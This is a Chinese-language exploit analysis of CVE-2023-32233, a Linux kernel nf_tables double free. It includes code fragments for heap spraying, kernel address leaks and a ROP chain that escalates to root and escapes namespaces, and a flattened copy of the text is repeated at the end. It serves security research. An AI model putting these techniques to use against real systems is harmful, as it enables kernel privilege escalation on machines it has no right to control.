CVE-2023-32233 在 Google KCTF 中的漏洞利用方案分析
字数 1398 2025-08-18 11:35:59

CVE-2023-32233漏洞利用方案深度分析

漏洞概述

CVE-2023-32233是Linux内核Netfilter子系统中的一个双重释放(Double Free)漏洞,存在于NFT_MSG_DELSET消息处理过程中。该漏洞允许攻击者在特定条件下实现内核内存的任意释放,进而可能导致权限提升。

漏洞原理分析

关键代码分析

漏洞主要存在于nft_set_destroy函数中:

static void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)
{
    int i;
    if (WARN_ON(set->use > 0))
        return;
    
    for (i = 0; i < set->num_exprs; i++)
        nft_expr_destroy(ctx, set->exprs[i]);
    
    set->ops->destroy(set);
    nft_set_catchall_destroy(ctx, set);
    kfree(set->name); // set->name double free
    kvfree(set);
}

以及nft_commit_release函数中:

static void nft_commit_release(struct nft_trans *trans)
{
    switch (trans->msg_type) {
    case NFT_MSG_DELSET:
        nft_set_destroy(&trans->ctx, nft_trans_set(trans));
        break;
    // ...
    }
}

漏洞触发条件

  1. 创建一个匿名set(pwn_lookup_set)
  2. 创建一个包含lookup expr的rule,该expr引用pwn_lookup_set
  3. 下发包含两个请求的netlink批处理:
    • NFT_MSG_DELRULE
    • NFT_MSG_DELSET

处理流程:

  1. nft_commit_release处理NFT_MSG_DELRULE会删除rule和lookup expr,同时释放pwn_lookup_set
  2. nft_commit_release处理NFT_MSG_DELSET时会再次尝试释放已经被释放的pwn_lookup_set

漏洞利用方案

利用步骤详解

  1. 初始设置

    • 创建匿名set (pwn_lookup_set)
    • 创建包含lookup expr的rule,该expr引用pwn_lookup_set
  2. 触发双重释放

    • 构造包含NFT_MSG_DELRULE和NFT_MSG_DELSET的netlink批处理请求
    • 在两次释放之间使用另一个set (race_set)占位
  3. 内存布局控制

    • 通过控制race_set的name长度获取dyn-kmalloc-256的UAF
    • 堆喷race_set控制name:
    for (int spray = 0; spray != 0x20; ++spray) {
        char *set_name;
        asprintf(&set_name, "race_set_%0200hx", spray); // 分配209大小的set_name
        pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, 
                      sizeof(uaf_set_key), set_desc_size, 0, 0);
    }
    
  4. 获取内存读写能力

    • 使用chain->udata占位set->name
    • 释放set实现chain->udata的UAF
    • 分配udata的代码:
    if (nla[NFTA_CHAIN_USERDATA]) {
        chain->udata = nla_memdup(nla[NFTA_CHAIN_USERDATA], GFP_KERNEL_ACCOUNT);
        if (chain->udata == NULL) {
            err = -ENOMEM;
            goto err_destroy_chain;
        }
        chain->udlen = nla_len(nla[NFTA_CHAIN_USERDATA]);
    }
    
  5. 堆喷chain->udata

    for (int i = 0; i < 0x20; i++) {
        char *chain_name;
        asprintf(&chain_name, "spray_chain_%08hx", i);
        pwn_create_leak_chain(batch, seq++, chain_name);
    }
    

地址泄露技术

  1. 通过NFT_MSG_GETCHAIN读取chain->udata的数据

  2. 使用nft_rule结构体占位udata泄露地址:

    • rule结构中的list指针指向堆喷的相邻rule,可泄露堆地址
    • expr中的ops指针保存了KO的地址,可计算gadget地址
    • 结构体大小用户态可控
  3. 泄露代码:

struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(mnl_batch_buffer, NFT_MSG_GETCHAIN, 
                                            NFPROTO_INET, NLM_F_ACK, seq);
char *chain_name;
asprintf(&chain_name, "spray_chain_%08hx", i);
nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, "testfirewall");
nftnl_chain_nlmsg_build_payload(nlh, chain);
nftnl_chain_free(chain);

if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
    err(1, "Cannot into mnl_socket_sendto()");
}

memset(mnl_batch_buffer, 0, sizeof(mnl_batch_buffer));
mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);

nft_counter_ops = *(unsigned long *)&mnl_batch_buffer[0x74];
kbase = nft_counter_ops - NFT_COUNTER_OPS;
heap_addr = *(unsigned long *)&mnl_batch_buffer[0x64];
victim_rule_handle = *(unsigned long *)&mnl_batch_buffer[0x6c] & 0xffff;

ROP链构造与执行

  1. 利用chain->udata伪造rule结构和nft_counter expr
  2. 通过NFT_MSG_DELRULE触发expr->ops->deactivate调用进入ROP

ROP链构造示例:

void make_payload_rop(uint64_t *data) {
    int i = 0;
    data[i++] = kbase + POP_RSI_RET; // dummy
    data[i++] = 0;
    data[i++] = kbase + POP_RSI_RET; // dummy
    data[i++] = 0;
    data[i++] = kbase + POP_RSI_RET; // dummy
    data[i++] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate()
    
    // find_task_by_vpid(1)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = 1;
    data[i++] = kbase + FIND_TASK_BY_VPID;
    
    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + MOV_RDI_RAX_RET;
    data[i++] = kbase + POP_RSI_RET;
    data[i++] = kbase + INIT_NSPROXY;
    data[i++] = kbase + SWITCH_TASK_NAMESPACES;
    
    // commit_creds(&init_cred)
    data[i++] = kbase + POP_RDI_RET;
    data[i++] = kbase + INIT_CRED;
    data[i++] = kbase + COMMIT_CREDS;
    
    data[i++] = kbase + VFORK;
    data[i++] = kbase + DELAY;
}

技术要点总结

  1. 理想泄露对象特征

    • 同时包含链表指针和内核镜像/KO地址的结构体(如struct rule)
    • 可以同时泄露出堆地址和代码段地址
    • 堆地址可通过内核逻辑进行占位控制数据
  2. Netlink对象利用优势

    • 对于桌面端内核漏洞(Ubuntu有ns权限)利用非常方便
    • 提供了丰富的内存操作原语
  3. 关键利用技巧

    • 通过批处理消息制造竞争条件
    • 精心控制内存布局实现UAF
    • 利用内核对象特性实现地址泄露
    • 通过伪造对象触发ROP执行

参考资源

  1. Google Security Research - CVE-2023-32233 Exploit
  2. 前文分析
CVE-2023-32233漏洞利用方案深度分析 漏洞概述 CVE-2023-32233是Linux内核Netfilter子系统中的一个双重释放(Double Free)漏洞,存在于NFT_ MSG_ DELSET消息处理过程中。该漏洞允许攻击者在特定条件下实现内核内存的任意释放,进而可能导致权限提升。 漏洞原理分析 关键代码分析 漏洞主要存在于 nft_set_destroy 函数中: 以及 nft_commit_release 函数中: 漏洞触发条件 创建一个匿名set(pwn_ lookup_ set) 创建一个包含lookup expr的rule,该expr引用pwn_ lookup_ set 下发包含两个请求的netlink批处理: NFT_ MSG_ DELRULE NFT_ MSG_ DELSET 处理流程: nft_commit_release 处理NFT_ MSG_ DELRULE会删除rule和lookup expr,同时释放pwn_ lookup_ set nft_commit_release 处理NFT_ MSG_ DELSET时会再次尝试释放已经被释放的pwn_ lookup_ set 漏洞利用方案 利用步骤详解 初始设置 : 创建匿名set (pwn_ lookup_ set) 创建包含lookup expr的rule,该expr引用pwn_ lookup_ set 触发双重释放 : 构造包含NFT_ MSG_ DELRULE和NFT_ MSG_ DELSET的netlink批处理请求 在两次释放之间使用另一个set (race_ set)占位 内存布局控制 : 通过控制race_ set的name长度获取dyn-kmalloc-256的UAF 堆喷race_ set控制name: 获取内存读写能力 : 使用chain->udata占位set->name 释放set实现chain->udata的UAF 分配udata的代码: 堆喷chain->udata : 地址泄露技术 通过NFT_ MSG_ GETCHAIN读取chain->udata的数据 使用nft_ rule结构体占位udata泄露地址: rule结构中的list指针指向堆喷的相邻rule,可泄露堆地址 expr中的ops指针保存了KO的地址,可计算gadget地址 结构体大小用户态可控 泄露代码: ROP链构造与执行 利用chain->udata伪造rule结构和nft_ counter expr 通过NFT_ MSG_ DELRULE触发expr->ops->deactivate调用进入ROP ROP链构造示例: 技术要点总结 理想泄露对象特征 : 同时包含链表指针和内核镜像/KO地址的结构体(如struct rule) 可以同时泄露出堆地址和代码段地址 堆地址可通过内核逻辑进行占位控制数据 Netlink对象利用优势 : 对于桌面端内核漏洞(Ubuntu有ns权限)利用非常方便 提供了丰富的内存操作原语 关键利用技巧 : 通过批处理消息制造竞争条件 精心控制内存布局实现UAF 利用内核对象特性实现地址泄露 通过伪造对象触发ROP执行 参考资源 Google Security Research - CVE-2023-32233 Exploit 前文分析